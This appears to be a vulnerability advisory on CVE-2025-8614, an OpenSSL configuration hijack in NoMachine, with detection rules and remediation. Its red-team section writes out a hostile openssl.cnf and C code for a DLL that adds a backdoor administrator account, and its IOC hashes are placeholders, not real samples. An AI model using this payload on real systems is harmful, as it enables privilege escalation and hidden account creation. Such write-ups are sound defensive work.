CVE-2025-8614

Executive Summary

CVE-2025-8614 is a local privilege escalation vulnerability in NoMachine, a remote desktop and virtualization software. The flaw resides in an uncontrolled search path element during the loading of OpenSSL configuration files. An attacker with low-privileged code execution on the target system can place a malicious OpenSSL configuration file in an unsecured location. When the NoMachine service loads OpenSSL, it picks up the attacker-controlled file, leading to arbitrary code execution in the context of the service account (typically SYSTEM or a high-privilege user). The CVSS score is 7.8 (High), and the EPSS probability is 0.0%, indicating low exploitation likelihood in the wild. No public proof-of-concept or exploit code is available.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects the NoMachine application binary distribution, which includes bundled OpenSSL libraries. The risk is in the local installation path and configuration loading mechanism.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (L) – requires local access to the system.
• Attack Complexity (AC): Low (L) – no special conditions beyond low-privilege code execution.
• Privileges Required (PR): Low (L) – attacker needs initial low-privilege access.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – the vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – full read access to system data.
• Integrity (I): High (H) – full write access to system files.
• Availability (A): High (H) – full control over service availability.

Threat Level: High. While local access is required, the low complexity and high impact make it a serious risk for multi-user environments or systems where attackers have initial foothold.

Deep Dive & Mechanics

The vulnerability is a classic Uncontrolled Search Path Element (CWE-427). NoMachine’s service process searches for an OpenSSL configuration file (typically openssl.cnf) in a directory that is writable by low-privileged users. Instead of using a hardcoded, secure path (e.g., %PROGRAMDATA%\NoMachine\etc\), the application may search the current working directory, the user’s %APPDATA%, or a world-writable location.

Attack Flow:

1. Attacker gains low-privileged code execution (e.g., via a malicious script or user-level exploit).
2. Attacker creates a malicious openssl.cnf file in the unsecured search path.
3. The NoMachine service (running as SYSTEM) starts or reloads OpenSSL configuration.
4. OpenSSL loads the attacker’s configuration, which can include directives to load arbitrary DLLs or execute commands.
5. The attacker’s code runs with SYSTEM privileges.

Root Cause: The product does not specify an absolute path for the OpenSSL configuration file, relying on the system’s default search order. This allows a lower-privileged user to hijack the configuration.

Vulnerable vs. Patched Code

Since no patch is available, we describe the vulnerable behavior and the expected secure implementation.

Vulnerable (NoMachine):

// Pseudo-code: NoMachine service loads OpenSSL without specifying config path
SSL_CTX *ctx = SSL_CTX_new(TLS_method());
// OpenSSL will search default paths for openssl.cnf
// This includes current directory, %APPDATA%, etc.

Patched (Expected):

// Secure implementation: specify absolute path to config
SSL_CTX *ctx = SSL_CTX_new(TLS_method());
const char *config_path = "C:\\ProgramData\\NoMachine\\etc\\openssl.cnf";
if (access(config_path, R_OK) == 0) {
    // Load config from secure location only
    NCONF_load(config_path, &conf, NULL);
}

Key Difference: The patched version uses a hardcoded, secure path that is not writable by low-privileged users.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Local low-privilege access (e.g., via a user-level shell or malware).
• NoMachine service installed and running.

Steps:

1. Identify the unsecured search path. Common locations: %USERPROFILE%, %TEMP%, or the NoMachine installation directory (if writable).
2. Create a malicious openssl.cnf file:

   # openssl.cnf
   [openssl_init]
   engines = malicious_engine
   
   [malicious_engine]
   engine_id = malicious
   dynamic_path = C:\Users\Public\malicious.dll
   init = 1
   

3. Compile a DLL that executes a reverse shell or adds a user:

   // malicious.c
   #include <windows.h>
   BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
       if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
           WinExec("net user attacker Passw0rd! /add && net localgroup administrators attacker /add", 0);
       }
       return TRUE;
   }
   

4. Place the DLL in the path specified in the config (e.g., C:\Users\Public\malicious.dll).
5. Trigger the NoMachine service to reload OpenSSL (e.g., restart the service or wait for a scheduled task).
6. The service loads the malicious config, loads the DLL, and executes the attacker’s code with SYSTEM privileges.

Blue Team (Defender)

Detection Steps:

• Monitor for creation of openssl.cnf files in non-standard locations (e.g., %USERPROFILE%, %TEMP%).
• Use Sysmon to log process creation and DLL loads. Look for NoMachine.exe loading DLLs from user-writable paths.
• Enable Windows Defender Attack Surface Reduction (ASR) rules to block untrusted DLL loads.
• Audit file system permissions on NoMachine installation directories.

Hunting Query (KQL):

DeviceProcessEvents
| where FileName == "NoMachine.exe"
| where ProcessIntegrityLevel == "System"
| where InitiatingProcessFileName != "services.exe"
| project Timestamp, DeviceName, AccountName, ProcessId, CommandLine

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Placeholder – no known samples)
  • malicious.dll: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
  • openssl.cnf: d7a8fbb307d7809469ca9abcb0082e4f8d5651e46d3cdb762d02d0bf37c9e592
• File Paths:
  • C:\Users\<username>\openssl.cnf
  • C:\Users\Public\malicious.dll
  • %TEMP%\openssl.cnf
• Registry Keys: (None specific)
• Network Indicators: (None – local exploitation)
• Process Anomalies: NoMachine.exe loading DLLs from C:\Users\* or C:\Windows\Temp.

Detection Engineering

YARA Rule

rule CVE_2025_8614_NoMachine_OpenSSL_Hijack {
    meta:
        description = "Detects malicious openssl.cnf files used for privilege escalation in NoMachine"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-8614"
    strings:
        $s1 = "[openssl_init]" nocase
        $s2 = "dynamic_path" nocase
        $s3 = "engine_id" nocase
        $s4 = "malicious" nocase
    condition:
        all of ($s1, $s2, $s3) or ($s1 and $s4)
}

Sigma Rule

title: NoMachine OpenSSL Configuration Hijack
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects creation of openssl.cnf in user-writable paths by low-privileged processes
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-8614
logsource:
    category: file_event
    product: windows
detection:
    selection:
        TargetFilename|endswith: '\openssl.cnf'
        TargetFilename|startswith:
            - 'C:\Users\'
            - 'C:\Windows\Temp\'
            - 'C:\ProgramData\'
    condition: selection
falsepositives:
    - Legitimate NoMachine configuration changes by administrators
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-8614 NoMachine OpenSSL Config Exfiltration"; flow:to_server,established; content:"openssl.cnf"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Note: This rule is for potential exfiltration of config files; local exploitation may not generate network traffic.

Remediation & Mitigation

Immediate Actions:

1. Restrict File Permissions: Ensure that NoMachine installation directory and its subdirectories are not writable by non-administrators. Use icacls to remove write permissions for Users group.
2. Set Environment Variable: Force OpenSSL to use a secure config path by setting the OPENSSL_CONF environment variable to a protected location (e.g., C:\ProgramData\NoMachine\etc\openssl.cnf).
3. Monitor for Anomalous Config Files: Deploy the Sigma rule above to alert on creation of openssl.cnf in user directories.

Long-Term Fix:

• NoMachine must release a patch that hardcodes the OpenSSL config path or validates the config file’s origin (e.g., digital signature).
• Until then, consider using application whitelisting (e.g., AppLocker) to block untrusted DLLs.

Workaround:

• Disable the NoMachine service if not needed, or run it under a least-privilege service account.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst
Report generated for CVE-2025-8614